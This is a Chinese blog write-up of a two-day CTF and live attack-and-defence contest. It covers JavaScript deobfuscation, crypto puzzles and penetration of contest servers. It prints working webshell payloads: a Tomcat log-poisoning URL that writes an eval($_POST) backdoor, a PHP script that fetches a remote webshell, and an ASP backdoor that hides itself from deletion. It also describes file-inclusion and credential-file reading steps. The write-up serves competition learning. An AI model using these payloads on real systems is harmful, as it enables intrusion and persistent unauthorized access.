大赛进行了两天,大起大落有,丧失信心也有,但最后还是挺过来了。多亏了给力的队友,blink和test,最后拿到了西北赛区的第二名。
简单叙述一下整个过程吧,顺便记录一下平时没有注意的一些点。
第一天的比赛是CTF类型的,实话说我不擅长这种类型的比赛,比赛经验不足,各种东西都快走到最后一步了但却不成功。第一道题js解密的就验证了这一点。这题的js代码是这样:
var qrivy = eval;NanylmrgurXrl="7D6A792B606E723629383D3B2B586A6D6E7F722B4864657F6E787F2B62782B4D7E6565722A296D7E65687F6264652B48636E68605B6A78782322707D6A792B6469615B6A7878366F64687E666E657F256C6E7F4E676E666E657F4972426F23297B6A787829227D6A792B7B6A7878366469615B6A7878257D6A677E6E2B626D2329606E722920606E7225787E69787F7962656C233B27382236367B6A787822706A676E797F2329606E722B62782B62652B7B6A787829222B766E67786E706A676E797F23295F79722B6A6C6A62652A29222B7676";
ArrqrqSha="function Xrlzrgubq(){qnauhnatcnv=Math.PI;cnefrVag=parseInt;sov='length';jebat0=cnefrVag(~((qnauhnatcnv&qnauhnatcnv)|(~qnauhnatcnv&qnauhnatcnv)&(qnauhnatcnv&~qnauhnatcnv)|(~qnauhnatcnv&~qnauhnatcnv)));lhn3afh=cnefrVag(((jebat0&jebat0)|(~jebat0&jebat0)&(jebat0&~jebat0)|(~jebat0&~jebat0))&1);/*Where is the key?! rot13 is the key.*/rknz6znbm=lhn3afh<<lhn3afh;erf0hygVfabg=jebat0;LbhT0gvg='';jvxvqrp0qr=eval(unescape('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));nccy2vf=qrivy;for(c3ffc0eg=jebat0;c3ffc0eg<ArrqrqSha[sov];c3ffc0eg-=-lhn3afh)erf0hygVfabg+=ArrqrqSha.charCodeAt(c3ffc0eg);erf0hygVfabg%=unescape(jebat0+unescape('x')+(1<<6));for(c3ffc0eg=jebat0;c3ffc0eg<NanylmrgurXrl[sov];c3ffc0eg+=rknz6znbm)LbhT0gvg+=jvxvqrp0qr(cnefrVag(jebat0+unescape('x')+NanylmrgurXrl.charAt(c3ffc0eg)+NanylmrgurXrl.charAt(c3ffc0eg+cnefrVag(lhn3afh)))^erf0hygVfabg);nccy2vf(LbhT0gvg);}"
这种javascript我不怕,感觉就是那样跟。首先ArrqrqSha是一个字符串,但这个字符串内容是个函数,我就把这个函数提取出来美化(http://tool.p1ng.pw/jstool.html)一下:
function Xrlzrgubq() {
qnauhnatcnv = Math.PI;
cnefrVag = parseInt;
sov = 'length';
jebat0 = cnefrVag(~ ((qnauhnatcnv & qnauhnatcnv) | (~qnauhnatcnv & qnauhnatcnv) & (qnauhnatcnv & ~qnauhnatcnv) | (~qnauhnatcnv & ~qnauhnatcnv)));
lhn3afh = cnefrVag(((jebat0 & jebat0) | (~jebat0 & jebat0) & (jebat0 & ~jebat0) | (~jebat0 & ~jebat0)) & 1); /*Where is the key?! rot13 is the key.*/
rknz6znbm = lhn3afh << lhn3afh;
erf0hygVfabg = jebat0;
LbhT0gvg = '';
jvxvqrp0qr = eval(unescape('%5' + '3%74%' + '72%69%6' + 'E%67%2E%' + '66%72%' + '6F%6D%4' + '3%68%61' + '%72%4' + '3%6F' + '%64%65'));
nccy2vf = qrivy;
for (c3ffc0eg = jebat0; c3ffc0eg < ArrqrqSha[sov]; c3ffc0eg -= -lhn3afh) erf0hygVfabg += ArrqrqSha.charCodeAt(c3ffc0eg);
erf0hygVfabg %= unescape(jebat0 + unescape('x') + (1 << 6));
for (c3ffc0eg = jebat0; c3ffc0eg < NanylmrgurXrl[sov]; c3ffc0eg += rknz6znbm) LbhT0gvg += jvxvqrp0qr(cnefrVag(jebat0 + unescape('x') + NanylmrgurXrl.charAt(c3ffc0eg) + NanylmrgurXrl.charAt(c3ffc0eg + cnefrVag(lhn3afh))) ^ erf0hygVfabg);
nccy2vf(LbhT0gvg);
}
把这个函数放在原先那个js后面,然后Xrlzrgubq();调用。放浏览器中调试,可以看到报错信息:
既然在这里报错,那么我在nccy2vf(LbhT0gvg);处下个断点,看看这两个变量的值是什么:
断下来之后,居然LbhT0gvg变量是一个长得很像KEY的字符串。于是我在控制台里把它输出来,我估计它就是key了:
这段代码啥意思就不太用解释了。我满以为自己找到key了。。。然后试了各种组合,key360、360key和rot_32过的字符串等等。。。全不对。到最后也没做出来。
比赛完了我问基友,别人告诉我要把key360放在url里请求一下。。才会出来key。。
这难道就是精神病人思路广吗?看来没有比赛经验,做题也很困难。
不过两个给力的逆向大牛把开出来的逆向题都做了,以至于我们队伍的分数还不低。web题也很坑,第二道是让我们找dede的后台(什么dede,就是ctrl+s保存的一个静态页面,毫无实战意义),dede找后台的方法就那么几个,我下载了.inc文件。但inc文件太大,内容太多,我没仔细找,以至于到最后才在不起眼的角落里找到。(通过搜索login应该能很容易找到的,但是之前没想到)
第三道web题是任意文件读取,读到.htaccess是类似 ^bob rewrite.php,将bob开头的请求转到rewrite.php中,前面还检查了referer,不过不知道为何我之后试的一直不成功。因为我当时就读rewrite.php,但里面啥都没有,所以我就没多想。还是想吐槽一下360,真的毫无实战价值,既然你将^bob请求转到rewrite.php里,那rewrite.php里就应该有东西啊,结果读出来就一个echo。最后答案却在bob.php里,我请求http://xxx/bob.php的时候应该被转向到rewrite.php里了才对呀?这种毫无实战价值的题目,真想不到你们的工程师是怎么想到的。真垃圾。
最后发现,最简单的其实还是加密解密的题目,40分的是一堆01,二进制的字符串,感觉是一个图片,拿前几位去解密发现是PK开头。看到PK开头我就知道是zip文件了,然后把字符串保存下来写了个脚本转换成二进制数据。后缀改成zip,解压得到一张图片,notepad打开图片找到一串base64字符串,解两次得到最终key。
80分的题是一道古典密码题目,给了一个人的头像,求某串密文对应的明文:
上谷歌图片搜索搜到的是维吉尼亚什么的,得知是维吉尼亚密码。题目中给了两个明文和密文、密钥的对照,而我知道维吉尼亚密码是通过密码表维系的关系(题目告诉我们它改了改,那肯定就修改的是密码表了),所以我们可以通过已知的对照组解出部分密码表,通过密码表来计算最后的key。不过最后没时间做了,这题也没做出来。
其他题都是队友做的了。。我基本酱油了一天,搞的最后都没信心了。但队友还是很厉害地拿到了西北赛区的并列第一,也还好给我点鼓励。
第二天的比赛是纯实战的,队里就我一个做web的,还没有人做渗透。我一个程序员,不太会渗透,但硬着头也得上了。
第一题是一个wordpress,还是感觉自己准备不足,居然手里没有好用的wpscan,kali里那个不好用。就先放着了。第三个服务器有两个站,discuz和thinksns,discuz3.0没戏,我就乌云上翻了翻thinksns,因为之前几个搞代码审计的审计了好些thinksns、thinksaas、记事狗这类的cms,所以还算比较熟悉。用了一个任意文件包含(http://www.wooyun.org/bugs/wooyun-2013-043945),注册个号发微博上传图片,能phpinfo。
不过传了个一句话发现菜刀连不上,估计是被防火墙拦了。传大马能包含,但包含了执行出问题,估计是因为包含进去的大马变量受限制了。后来写了个脚本,在根目录生成了个大马:
<?php
file_put_contents('hehe.php', file_get_contents('刚才传上来的大马地址'));
?>
然后拿下了shell。能执行命令,不过linux 2.6.18 64位,之前弹shell一直弹不了(被拦了,直接跳到360),我们又没有外网地址,只能用我一台windows vps做弹shell的服务器,metasploit也用不了。下午用习科大马里自带的弹shell功能弹了一个shell,但用了各种提权程序没成功,估计是因为64位的,我不太会。
文件包含的洞补了以后就把这台服务器忘了(居然没想到多补几个,另一个地方还有任意文件上传)。第4台是一个dvbbs,不过我对asp和windows不太熟,然后没合适的路径扫描器(扫描器一扫就502,根本没法用),没扫到eweb。
回到第一个wordpress,用wvs一爬发现有插件的任意文件包含。当时把我乐坏了,不过后来发现根本没地方可以上传文件,所以也没什么文件能包含。nginx日志没找到(找到了人说太大,没法包含,有无数人拿扫描器扫,导致日志太大),env环境变量网上说可以控制,我也没成功,shadow下下来没密码(有也破不出)。
当时就绝望了。不过这台服务器上有个tomcat,我就开始翻tomcat文件。一个docs、一个exmaple,没啥线索,后台也找不着。然后神队友看到了wp一篇文章里有个url http://localhost:8080/qihoo,我当时看到了没在意,结果居然qihoo也是tomcat下一个目录。
qihoo里一个文件,找到一个任意文件下载。这里犯了一个致命的错误,我下载了/etc/passwd,里面没密码。实际上有密码的是/etc/shadow,我却没有下。看来还是平时实战经验太少了,导致犯了这种错误。如果拿到密码,跑出来的话,就又能多100分了。
通过这个任意文件下载,我下到了wp的config文件,数据库root权限不能外连,root密码也不是ssh密码。我之前一直以为wp的cookie和emlog一样,仅仅通过config.php文件中的auth来确定。我就在本地搭建了一个wp,把配置文件复制过来,结果拿到的cookie还是不能用。后来读代码发现cookie还跟用户密码的部分有关系,伪造也不行了。
回到wp,知道了数据库是root后,我后来想找一个有注入的插件,能写个shell到网站目录下。或写到tmp目录,通过那个任意文件包含拿shell。但扫描器扫插件,扫10个有5个502,根本没法扫。只能一个一个手工试。在我试的时候,让神队友blink找找tomcat日志,结果还真被他找到了。
地址是/usr/local/tomcat7/logs/localhost_access_log.2014-05-25.txt。日志下载下来只有40多M,应该可以包含的。但包含的时候发现似乎显示不完。我当时想显示不完不代表包含不完,于是我写了一个写shell的脚本,放在url后面访问了一下tomcat(浏览器会把空格等字符url 编码,得抓包把他们改回来):
http://xxx:8080/?<?php file_put_content('1.php','<?php eval($_POST[a]);?>');?>
包含以后果然写了一个shell 1.php。菜刀成功连上。
shell拿到以后我发现有人删shell,不过还好我机智无比,比赛前一天晚上我就写了几个脚本,防删shell用的。
(被XX和谐)
这个脚本会常驻内存中,除非你重启服务器,否则它会每隔50毫秒检查一下自身(或xx.php)是否存在,不存在就把原内容再写进去,达到防删效果。
再来个asp的:
<%
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
if Request("never") <> empty then
eval Request("never")
end if
%>
这个是将文件属性设置成系统+隐藏+只读,在菜刀里就删不掉了。除非你把属性再改回来。
回到比赛,连上shell后修复几个漏洞,uname发现又是刚才那个内核,64位。。。还是提不下。不过翻tomcat目录找到了管理员密码和后台,登录进去部署一个war拿下shell。不过那个shell太恶心了,路径是\不是/(写shell的时候没考虑过linux吗,真的很坑),导致传文件传不了,修改文件修不了,命令执行不了。。。然后没时间了,我就没继续试了。否则tomcat估计直接是root权限,能拿到100分的。
第二个服务器也是很遗憾的,首页一张图片,看源码有个ssh,一个日期(其实这个日期居然就是这台服务器的root密码。。。但当时为啥没去试),图片是个图种,解压后一个pcap包,跑wpa的。。。结果队友跑了3个小时没出来。。。不知道为什么,可能是姿势不对,学弟3秒就跑出来了。。。就是那个日期。因为没跑出来,所以这个服务器一点没做,就丢了。
第一天分数第一的队伍(坑学长)就是因为拿下了这个服务器获得了100分,最后抱得s4归,不过我居然觉得ipad mini比s4要好,哈哈。
总体来说自己还是拖了队伍后腿,不过还好没有拖太狠。最后没拿下服务器,但修复漏洞也得了点分。帮助我很大的是我之前写的一个小工具集:http://tool.p1ng.pw/,还有wooyun、wvs、谷歌,这也是实战中离不开的。